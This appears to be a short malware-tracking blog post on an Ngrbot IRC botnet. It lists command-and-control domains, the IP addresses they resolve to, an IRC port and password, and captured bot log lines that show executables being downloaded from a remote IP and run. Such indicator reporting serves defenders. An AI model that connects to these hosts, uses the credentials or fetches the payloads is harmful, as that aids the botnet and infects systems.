ng.grasshopperz11.com(ngr bot hosted in China Beijing Chinanet Jiangxi Province Network)

DNS:
ng.marketallone.com
api.wipmania.com
ng.themarketbaby.com
ng.grasshopperz11.com

Resolved : [ng.grasshopperz11.com] To [123.183.217.32]
Resolved : [ng.grasshopperz11.com] To [60.190.218.104]
Resolved : [ng.grasshopperz11.com] To [59.63.157.62]
Resolved : [ng.grasshopperz11.com] To [59.53.91.167]
Resolved : [ng.grasshopperz11.com] To [60.190.223.125]

Resolved : [ng.marketallone.com] To [60.190.223.125]
Resolved : [ng.marketallone.com] To [59.63.157.62]
Resolved : [ng.marketallone.com] To [60.190.218.104]
Resolved : [ng.marketallone.com] To [123.183.217.32]
Resolved : [ng.marketallone.com] To [59.53.91.167]

Resolved : [ng.themarketbaby.com] To [59.63.157.62]
Resolved : [ng.themarketbaby.com] To [59.53.91.167]
Resolved : [ng.themarketbaby.com] To [60.190.218.104]
Resolved : [ng.themarketbaby.com] To [60.190.223.125]
Resolved : [ng.themarketbaby.com] To [123.183.217.32]

Remote Host Port Number
ng.marketallone.com 7196 PASS laorosr
ng.themarketbaby.com 7196 PASS laorosr
ng.grasshopperz11.com 7196 PASS laorosr

MODE [N00_USA_XP_9428231]
@ -ix
PRIVMSG #us :[d=”http://91.200.241.40/dq.exe” s=”49943 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data2.tmp” – Download retries: 0
PRIVMSG #us :[d=”http://91.200.241.40/us5.exe” s=”46893 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data3.tmp” – Download retries: 0
PRIVMSG #us :[d=”http://91.200.241.40/nw122.exe” s=”50679 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0

Hosting infos:
http://whois.domaintools.com/59.63.157.62

Categories: Uncategorized